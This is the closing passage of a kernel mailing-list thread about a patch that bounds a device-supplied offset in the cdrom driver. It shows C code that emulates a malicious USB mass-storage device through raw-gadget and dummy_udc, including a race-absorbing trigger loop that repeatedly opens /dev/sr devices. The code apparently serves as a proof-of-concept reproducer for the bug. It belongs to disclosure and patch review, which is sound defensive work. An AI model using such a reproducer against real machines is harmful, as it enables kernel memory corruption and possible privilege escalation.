    // root-side chmod helper both have time to catch up (absorbs the race).
    for (int round = 0; round < 40; round++) {
        char rtag[16];
        snprintf(rtag, sizeof(rtag), "r%d", round);
        open_all_sr(rtag);
        usleep(400 * 1000);
    }
    LOG("trigger sequence complete");
    return NULL;
}

// ---------------------------------------------------------------------------
// ep0 control handling
// ---------------------------------------------------------------------------
static int g_configured = 0;
static pthread_t g_bulk_thread, g_trig_thread;

// Enable bulk endpoints and start the SCSI/trigger loops. Called AFTER the
// SET_CONFIGURATION status stage has been acknowledged.
static void ep0_start_bulk(void) {
    g_ep_in  = usb_raw_ep_enable(g_fd, &ep_in_desc);
    LOG("bulk IN  ep enabled -> handle %d", g_ep_in);
    g_ep_out = usb_raw_ep_enable(g_fd, &ep_out_desc);
    LOG("bulk OUT ep enabled -> handle %d", g_ep_out);
    usb_raw_vbus_draw(g_fd, 0x32);
    g_configured = 1;
    pthread_create(&g_bulk_thread, NULL, bulk_loop, NULL);
    pthread_create(&g_trig_thread, NULL, trigger_loop, NULL);
}

static void handle_control(struct usb_ctrlrequest *ctrl) {
    struct usb_raw_control_io io;
    memset(&io, 0, sizeof(io));
    io.inner.ep = 0;
    io.inner.flags = 0;

    int reply = 0, len = 0;
    int dir_in = (ctrl->bRequestType & USB_DIR_IN) != 0;
    int start_bulk_after = 0;

    switch (ctrl->bRequest) {
    case USB_REQ_GET_DESCRIPTOR: {
        uint8_t type = ctrl->wValue >> 8;
        uint8_t idx  = ctrl->wValue & 0xff;
        if (type == USB_DT_DEVICE) {
            len = sizeof(dev_desc);
            memcpy(io.data, &dev_desc, len);
            reply = 1;
        } else if (type == USB_DT_CONFIG) {
            len = sizeof(config_buf);
            memcpy(io.data, config_buf, len);
            reply = 1;
        } else if (type == USB_DT_STRING) {
            len = build_string_desc(idx, (uint8_t *)io.data);
            reply = 1;
        } else {
            usb_raw_ep0_stall(g_fd);
            return;
        }
        break;
    }
    case USB_REQ_SET_CONFIGURATION:
        LOG("SET_CONFIGURATION(%d)", ctrl->wValue);
        usb_raw_configure(g_fd);          // move to configured state first
        start_bulk_after = 1;             // enable eps after acking status
        reply = 1; len = 0;
        break;
    case USB_REQ_GET_CONFIGURATION:
        io.data[0] = 1; len = 1; reply = 1;
        break;
    case USB_REQ_SET_INTERFACE:
        reply = 1; len = 0;
        break;
    case USB_REQ_GET_STATUS:
        io.data[0] = 0; io.data[1] = 0; len = 2; reply = 1;
        break;
    case 0xFE: // Mass Storage: Get Max LUN (bmRequestType 0xA1)
        if (ctrl->bRequestType == 0xA1) {
            io.data[0] = 0;   // 1 LUN
            len = 1; reply = 1;
        }
        break;
    case 0xFF: // Mass Storage: Bulk-Only Reset (bmRequestType 0x21)
        if (ctrl->bRequestType == 0x21) { reply = 1; len = 0; }
        break;
    default:
        break;
    }

    if (!reply) {
        usb_raw_ep0_stall(g_fd);
        return;
    }

    if (dir_in) {
        if (len > (int)ctrl->wLength) len = ctrl->wLength;
        io.inner.length = len;
        usb_raw_ep0_write(g_fd, (struct usb_raw_ep_io *)&io);
    } else {
        // Host->device (incl. no-data requests): the status stage is
        // completed with EP0_READ (len 0), not EP0_WRITE.
        io.inner.length = 0;
        usb_raw_ep0_read(g_fd, (struct usb_raw_ep_io *)&io);
    }

    // SET_CONFIGURATION: now that the status stage is acknowledged, enable the
    // bulk endpoints and start servicing SCSI commands.
    if (start_bulk_after)
        ep0_start_bulk();
}

int main(void) {
    LOG("starting; uid=%d", (int)getuid());
    build_config();
    g_fd = usb_raw_open();
    usb_raw_init(g_fd, USB_SPEED_HIGH, "dummy_udc", "dummy_udc.0");
    usb_raw_run(g_fd);
    LOG("gadget running, entering ep0 loop");

    for (;;) {
        struct usb_raw_control_io ev;
        memset(&ev, 0, sizeof(ev));
        struct usb_raw_event *event = (struct usb_raw_event *)&ev;
        event->type = 0;
        event->length = sizeof(ev.data);
        if (usb_raw_event_fetch(g_fd, event) < 0) {
            usleep(1000);
            continue;
        }
        switch (event->type) {
        case USB_RAW_EVENT_CONNECT:
            LOG("event: CONNECT");
            break;
        case USB_RAW_EVENT_CONTROL: {
            struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)event->data;
            handle_control(ctrl);
            break;
        }
        case USB_RAW_EVENT_RESET:
            LOG("event: RESET");
            break;
        case USB_RAW_EVENT_DISCONNECT:
            LOG("event: DISCONNECT");
            break;
        default:
            break;
        }
    }
    return 0;
}

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-11-24 22:17 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-11-11 22:45 [PATCH v2] cdrom: bound the device-supplied offset in cdrom_mrw_set_lba_space Jay Vadayath
2026-11-24 21:18 ` Phillip Potter
2026-11-24 22:16   ` Jay Vadayath

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®